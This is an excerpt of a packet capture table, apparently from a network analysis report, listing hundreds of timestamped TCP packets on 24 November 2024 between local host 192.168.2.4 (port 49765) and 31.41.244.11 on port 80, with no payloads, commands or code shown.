Nov 24, 2024 12:24:14.334786892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.335045099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.335115910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.335128069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.335220098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.335978985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.336026907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.336061954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.336103916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.336843967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.336891890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.336920023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.336962938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.337769032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.337816000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.337898016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.337943077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.338704109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.338749886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.338794947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.338866949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.339611053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.339657068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.339720011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.339766026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.340598106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.340646029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.340703964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.340749979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.341438055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.341490030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.341770887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.341818094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.342360020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.342407942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.342479944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.342521906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.343287945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.343341112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.343374968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.343419075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.344255924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.344310999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.344340086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.344384909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.345088005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.345133066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.345211029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.345253944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.346019983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.346065044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.346093893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.346138954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.346909046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.346956968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.347067118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.347112894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.347856998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.347901106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.347976923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.348021030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.348799944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.348867893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.348902941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.348943949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.349654913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.349699020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.349755049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.349800110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.350555897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.350605965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.350665092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.350712061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.351480007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.351526022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.351561069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.351607084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.352416039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.352463961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.352535009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.352580070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.353303909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.353352070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.353426933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.353471041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.354234934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.354280949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.354352951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.354399920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.355161905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.355206966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.355310917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.355362892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.356112957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.356161118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.356246948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.356292963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.356998920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.357039928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.357103109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.357146978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.358113050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.358159065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.358417988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.358463049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.358985901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.359034061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.359050035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.359075069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.359750032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.359800100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.359874010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.359920979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.360646963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.360697031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.360755920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.360800982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.361610889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.361656904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.361819029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.361871958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.362514973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.362560987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.362734079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.362780094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.363590956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.363636017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.364140034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.364183903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.364654064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.364684105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.364696026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.364723921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.365726948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.365776062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.365937948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.365982056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.366436958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.366519928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.366566896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.367099047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.367146969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.367213964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.367259979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.368120909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.368175983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.368212938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.368254900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.368901968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.368947983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.369002104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.369072914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.369822025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.369874954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.370043039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.370086908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.370722055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.370769024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.370824099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.370872021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.371674061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.371721029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.371799946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.371845007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.372652054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.372699022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.372838020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.372884989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.373589993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.373639107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.373673916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.373718023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.374377966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.374424934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.374480963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.374526978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.375299931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.375345945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.375416040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.375461102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.376218081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.376265049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.376331091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.376375914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.377139091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.377182961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.377250910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.377294064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.378043890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.378092051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.378159046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.378205061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.378958941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.379004002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.379065990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.379112005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.379899025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.379945040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.380002022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.380048037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.380803108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.380847931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.380914927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.380959988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.381721020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.381772041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.381798983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.381843090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.382664919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.382713079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.537997007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.538120985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.538192034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.538274050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.538424969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.538456917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.538599968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.538645983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.539371967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.539424896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.539532900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.539577961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.540278912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.540422916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.540450096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.540499926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.541187048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.541307926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.541332006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.541373968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.542176008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.542251110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.542278051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.542321920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.543016911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.543133974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.543179989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.543943882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.544050932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.544096947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.544879913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.545053959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.545100927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.545856953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.545902014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.545933008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.546154976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.546699047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.546761990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.546787977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.546833038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.547589064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.547636032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.547765970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.547817945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.548504114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.548547983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.548609018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.548660994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.549442053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.549561977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.549608946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.550338984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.550421000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.550432920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.551270962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.551316977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.551387072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.551508904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.552159071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.552203894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.552272081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.552324057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.553114891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.553231955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.553260088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.553301096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.553999901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.554047108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.554099083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.554414034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.554910898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.554955006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.555013895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.555057049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.555993080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.556036949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.556157112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.556199074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.556778908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.556823015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.556901932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.556943893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.557691097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.557730913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.557764053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.557841063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.558602095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.558734894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.558757067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.558794975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.559663057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.559772015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.559858084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.559906960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.560756922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.560854912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.560909986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.561539888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.561680079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.561738014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.562238932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.562289000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.562342882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.562419891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.563172102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.563222885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.563282967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.563327074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.564091921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.564141035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.564193964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.564300060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.565018892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.565068007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.565244913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.565382957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.565916061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.565962076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.566030979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.566098928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.566826105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.566951990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.566994905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.567842960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.567992926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.568041086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.568706989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.568778992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.568809986 CET	80	49765	31.41.244.11	192.168.2.4
